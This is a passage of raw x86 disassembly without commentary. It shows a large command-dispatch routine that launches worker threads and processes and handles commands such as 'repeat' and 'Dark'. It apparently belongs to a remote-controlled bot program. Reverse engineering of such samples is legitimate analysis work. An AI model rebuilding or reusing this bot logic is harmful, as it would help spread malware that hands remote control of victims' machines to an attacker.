loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA64
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A914
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset dword_40C92C
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42AA04
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8D8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset loc_410DAB
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42A894
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A868
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A828
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7EC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset byte_41561D
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A7B4
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A784
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset dword_414358
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_42A74C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A71C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset byte_4135DF
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A6E4
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset dword_42A678
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A64C
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset byte_413A29
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A614
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5DC
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		nop
		call	near ptr 26A0E01h
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5B8
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5AC
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A57C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset dword_417054
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A540


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A51C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A500
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aDark	; "Dark"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		nop
		call	near ptr 26A01C3h
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset loc_4167A0
		push	ebx
		push	ebx
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset dword_42A48C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A444


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	near ptr 26803E7h
		nop


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A420
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCD8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A434
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A408
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A3A0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2098],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_221C]
		push	ebx
		push	eax
		push	offset byte_414F57
		push	ebx
		push	ebx
		call	near ptr 2680456h
		nop
		mov	ecx, [ebp+var_2098]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E974[ecx], eax
		jz	short loc_40876E


loc_408758:				; CODE XREF: sub_401ACD+6C9Fj
		cmp	[ebp+var_208C],	ebx
		jnz	loc_40885A
		push	32h
		call	near ptr 26803E7h
		nop
		jmp	short loc_408758
; ---------------------------------------------------------------------------


loc_40876E:				; CODE XREF: sub_401ACD+6C89j
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_42A364
		jmp	loc_40884B
; ---------------------------------------------------------------------------


loc_40877F:				; CODE XREF: sub_401ACD+48EBj
					; sub_401ACD+4902j
		push	7Fh
		lea	eax, [ebp+var_23AC]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_232C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_22AC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
